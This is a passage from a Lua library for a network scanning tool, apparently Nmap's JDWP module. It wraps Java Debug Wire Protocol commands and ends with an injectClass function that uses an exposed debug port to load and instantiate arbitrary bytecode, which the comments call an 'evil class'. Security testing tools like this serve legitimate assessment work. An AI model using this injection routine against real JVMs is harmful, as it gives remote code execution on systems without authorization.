  722. -- Returns the current status of a thread.
  723. --
  724. -- Thread status is described with ThreadStatus and SuspendStatus constants (http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadStatus).
  725. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Status
  726. --
  727. --@param socket Socket to use to send the command.
  728. --@param id Packet id.
  729. --@param threadID The ID of a thread.
  730. --@return (status, thread_name) If status is false an error string is returned, else unparsed thread status data.
  731. function threadStatus(socket,id,threadID)
  732. local params = bin.pack(">L",threadID)
  733. local command = JDWPCommandPacket:new(id,11,4,params)
  734. local status, data = executeCommand(socket,command)
  735. if not status then
  736. stdnse.debug2("JDWP threadStatus() error: %s", data)
  737. return false,data
  738. end
  739. stdnse.debug1("threadStatus %s",stdnse.tohex(data))
  740. return true, data
  741. end
  742. --- ArrayReference Command Set (13)
  743. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayReference
  744. --- SetValues Command (3)
  745. -- Sets a range of array components.
  746. --
  747. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayReference_SetValues
  748. --
  749. --@param socket Socket to use to send the command.
  750. --@param id Packet id.
  751. --@param objectID The ID of an array object.
  752. --@return (status, data) If status is false an error string is returned, else it's nil.
  753. function setArrayValues(socket,id,objectID,idx,values)
  754. local params = bin.pack(">Lii",objectID,idx,#values) .. values
  755. local command = JDWPCommandPacket:new(id,13,3,params)
  756. local status, data = executeCommand(socket,command)
  757. if not status then
  758. stdnse.debug2("JDWP setArrayValues() error: %s", data)
  759. return false,data
  760. end
  761. return true, nil
  762. end
  763. --- EventRequest Command Set (15)
  764. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest
  765. --- Uses Set Command (1) to set singlesteping to specified thread.
  766. --
  767. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Set
  768. --
  769. --@param socket Socket to use to send the command.
  770. --@param id Packet id.
  771. --@param threadID The ID of the thread.
  772. --@return (status, requestID) If status is false an error string is returned, else it contains assigned request id.
  773. function setThreadSinglestep(socket,id,threadID)
  774. local params = bin.pack(">CCiCLii",1,2,1,10,threadID,0,0) -- event options see http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Set
  775. local command = JDWPCommandPacket:new(id,15,1,params)
  776. local status, data = executeCommand(socket,command)
  777. if not status then
  778. stdnse.debug2("JDWP setThreadSinglestep() error: %s", data)
  779. return false,data
  780. end
  781. local _, requestID = bin.unpack(">i",data)
  782. return true, requestID
  783. end
  784. --- Uses Clear Command (2) to unset singlesteping from a thread by specified event.
  785. --
  786. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Clear
  787. --
  788. --@param socket Socket to use to send the command.
  789. --@param id Packet id.
  790. --@param eventID The ID of the thread.
  791. --@return (status, requestID) If status is false an error string is returned, else it's nil.
  792. function clearThreadSinglestep(socket,id,eventID)
  793. local params = bin.pack(">Ci",1,eventID)
  794. local command = JDWPCommandPacket:new(id,15,2,params)
  795. local status, data = executeCommand(socket,command)
  796. if not status then
  797. stdnse.debug2("JDWP clearThreadSinglestep() error: %s", data)
  798. return false,data
  799. end
  800. return true,nil
  801. end
  802. --- ClassObjectReference Command Set (17)
  803. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassObjectReference
  804. --- ReflectedType Command (1)
  805. -- Returns the reference type reflected by this class object.
  806. --
  807. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassObjectReference_ReflectedType
  808. --
  809. --@param socket Socket to use to send the command.
  810. --@param id Packet id.
  811. --@param classObjectID The ID of the object.
  812. --@return (status, reflected_type) If status is false an error string is returned, else reflected_type is object's reference type.
  813. function getReflectedType(socket,id,classObjectID)
  814. local _, param
  815. local command = JDWPCommandPacket:new(id,17,1,bin.pack(">L",classObjectID))
  816. local status, data = executeCommand(socket,command)
  817. if not status then
  818. stdnse.debug2("JDWP getReflectedType() error: %s", data)
  819. return false,data
  820. end
  821. local reflected_type = {
  822. refTypeTag = nil,
  823. typeID = nil
  824. }
  825. _,reflected_type.refTypeTag, reflected_type.typeID = bin.unpack(">CL",data)
  826. return true, reflected_type
  827. end
  828. --- Helper function to find a method ID by its name.
  829. --
  830. -- @param socket Socket to use for communication.
  831. -- @param class ID of the class whose method we seek.
  832. -- @param methodName Name of the method.
  833. -- @param skipFirst Skip first found method.
  834. function findMethod(socket,class,methodName,skipFirst)
  835. local methodID
  836. local status, methods = getMethodsWithGeneric(socket,0,class)
  837. if not status then
  838. return false
  839. end
  840. for _, method in ipairs(methods) do -- find first constructor and first defineClass() method
  841. stdnse.debug2("Method name: %s", method.name)
  842. if methodID == nil then
  843. if string.find(method.name,methodName) then
  844. if skipFirst then
  845. skipFirst = false
  846. else
  847. methodID = method.methodID
  848. end
  849. end
  850. end
  851. end
  852. return methodID
  853. end
  854. --- Tries to inject specified bytes as a java class and create its instance.
  855. --
  856. -- Returns a table containing following fields:
  857. -- * 'id' Injected class reference ID.
  858. -- * 'instance' Injected calss' instance reference ID.
  859. -- * 'thread' Thread in which the class was injected and instantiated.
  860. --
  861. -- @param socket Socket to use for communication.
  862. -- @param class_bytes String of bytes of a java class file to inject.
  863. -- @return (status,injectedClass) If status is false, an error message is returned, else returns a table with injected class info.
  864. function injectClass(socket,class_bytes)
  865. local classes,status
  866. -- find byte array class id needed to create new array to load our bytecode into
  867. status,classes = getAllClassesWithGeneric(socket,0)
  868. if not status then
  869. stdnse.debug1("getAllClassesWithGeneric failed: %s", classes)
  870. return false
  871. end
  872. local byteArrayID
  873. for _,class in ipairs(classes) do
  874. if string.find(class.signature,"%[B") then
  875. byteArrayID = class.typeID
  876. break
  877. end
  878. end
  879. if byteArrayID == nil then
  880. stdnse.debug1("finding byte array id failed")
  881. return false
  882. end
  883. stdnse.debug1("Found byte[] id %d",byteArrayID)
  884. -- find SecureClassLoader id by signature
  885. status, classes = getClassBySignature(socket,0,"Ljava/security/SecureClassLoader;")
  886. if not status then
  887. return false
  888. end
  889. local secureClassLoader = classes[1].referenceTypeID
  890. stdnse.debug1("Found SecureClassLoader id %d",secureClassLoader)
  891. -- find SecureClassLoader() constructor
  892. local constructorMethodID = findMethod(socket,secureClassLoader,"<init>",true)
  893. -- find ClassLoader id by signature
  894. status, classes = getClassBySignature(socket,0,"Ljava/lang/ClassLoader;")
  895. if not status then
  896. return false
  897. end
  898. local classLoader = classes[1].referenceTypeID
  899. stdnse.debug1("Found ClassLoader id %d",classes[1].referenceTypeID)
  900. -- find ClassLoader's defineClass() method
  901. local defineClassMethodID = findMethod(socket,classLoader,"defineClass",false)
  902. -- find ClassLoader's resolveClass() method
  903. local resolveClassMethodID = findMethod(socket,classLoader,"resolveClass",false)
  904. if constructorMethodID == nil or defineClassMethodID == nil or resolveClassMethodID == nil then
  905. stdnse.debug1("Either constructor, defineClass or resolveClass method could not be found %s,%s,%s", type(constructorMethodID), type(defineClassMethodID),type(resolveClassMethodID))
  906. return false
  907. end
  908. -- create array to load bytecode into
  909. local arrayID
  910. status, arrayID = newArrayInstance(socket,0,byteArrayID,#class_bytes)
  911. if not status then
  912. stdnse.debug1("New array failed: %s", arrayID)
  913. return false
  914. end
  915. stdnse.debug1("Created new byte array of length %d",#class_bytes)
  916. -- set array values
  917. local temp
  918. status, temp = setArrayValues(socket,0,arrayID,0,class_bytes)
  919. if not status then
  920. stdnse.debug1("Set values failed: %s", temp)
  921. return
  922. end
  923. stdnse.debug1("Set array values to injected class bytes")
  924. -- get main thread id
  925. -- in order to load a new class file, thread must be suspended by an event
  926. -- so we set it to singlestep, let it run and it get suspended right away
  927. local threads
  928. status,threads = getAllThreads(socket,0)
  929. if not status then
  930. stdnse.debug1("get threads failed: %s", threads)
  931. return false
  932. end
  933. local main_thread
  934. local eventID
  935. stdnse.debug1("Looking for main thread...")
  936. for _,thread in ipairs(threads) do
  937. local thread_name
  938. status, thread_name = getThreadName(socket,0,thread)
  939. if not status then
  940. stdnse.debug1("getThreadName failed: %s", thread_name)
  941. return false
  942. end
  943. if thread_name == "main" then
  944. stdnse.debug1("Setting singlesteping to main thread.")
  945. status, eventID = setThreadSinglestep(socket,0,thread)
  946. main_thread = thread
  947. break
  948. end
  949. end
  950. if main_thread == nil then
  951. stdnse.debug1("couldn't find main thread")
  952. return false
  953. end
  954. -- to trigger the singlestep event, VM must be resumed
  955. stdnse.debug1("Resuming VM and waiting for single step event from main thread...")
  956. local status, _ = resumeVM(socket,0)
  957. -- clear singlestep since we need to run our code in this thread and we don't want it to stop after each instruction
  958. clearThreadSinglestep(socket,0,eventID)
  959. stdnse.debug1("Cleared singlesteping from main thread.")
  960. -- instantiate new class loader
  961. local class_loader_instance
  962. status, class_loader_instance = newClassInstance(socket,0,secureClassLoader,main_thread,constructorMethodID,0,nil)
  963. if not status then
  964. stdnse.debug1("newClassInstance failed: %s", class_loader_instance)
  965. return false
  966. end
  967. stdnse.debug1("Created new instance of SecureClassLoader.")
  968. local injectedClass
  969. -- invoke defineClass with byte array that contains our bytecode
  970. local defineClassArgs = bin.pack(">CLCiCi",0x5b,arrayID,0x49,0,0x49,#class_bytes) -- argument tags taken from http://docs.oracle.com/javase/6/docs/technotes/guides/jni/spec/types.html#wp9502
  971. stdnse.debug1("Calling secureClassLoader.defineClass(byte[],int,int) ...")
  972. status, injectedClass = invokeObjectMethod(socket,0,class_loader_instance,main_thread,secureClassLoader,defineClassMethodID,3,defineClassArgs)
  973. if not status then
  974. stdnse.debug1("invokeObjectMethod failed: %s", injectedClass)
  975. end
  976. -- resolve (Java's way of saying link) loaded class
  977. status, _ = invokeObjectMethod(socket,0,class_loader_instance,main_thread,secureClassLoader,resolveClassMethodID,1,injectedClass) -- call with injectedClass which still has a tag
  978. if not status then
  979. stdnse.debug1("invokeObjectMethod failed:")
  980. end
  981. -- extract the injected class' ID
  982. local tag,injectedClassID
  983. _,tag,injectedClassID = bin.unpack(">CL",injectedClass)
  984. -- our class is now injected, but we need to find its methods by calling Class.getMethods() on it
  985. -- and for that we need its runtime_type which is Class
  986. local runtime_type
  987. status, runtime_type = getRuntimeType(socket,0,injectedClassID) -- should be Class
  988. -- find the getMethods() id
  989. local getMethodsMethod = findMethod(socket,runtime_type,"getMethods",false)
  990. status, _ = invokeObjectMethod(socket,0,injectedClassID,main_thread,runtime_type,getMethodsMethod,0,nil)
  991. stdnse.debug1("New class defined. Injected class id : %d",injectedClassID)
  992. local sig, reflected_type
  993. status, sig = getSignatureWithGeneric(socket,0,injectedClassID)
  994. stdnse.debug1("Injected class signature: %s", sig)
  995. status, reflected_type = getReflectedType(socket,0,injectedClassID)
  996. -- find injected class constructor
  997. local injectedConstructor = findMethod(socket,injectedClassID,"<init>",false)
  998. if injectedConstructor == nil then
  999. stdnse.debug1("Couldn't find either evil method or constructor")
  1000. return false
  1001. end
  1002. -- instantiate our evil class
  1003. local injectedClassInstance
  1004. status, injectedClassInstance = newClassInstance(socket,0,injectedClassID,main_thread,injectedConstructor,0,nil)
  1005. if not status then
  1006. return false, injectedClassInstance
  1007. end
  1008. local injected_class = {
  1009. id = injectedClassID,
  1010. instance = injectedClassInstance,
  1011. thread = main_thread
  1012. }
  1013. return true, injected_class
  1014. end
  1015. return _ENV;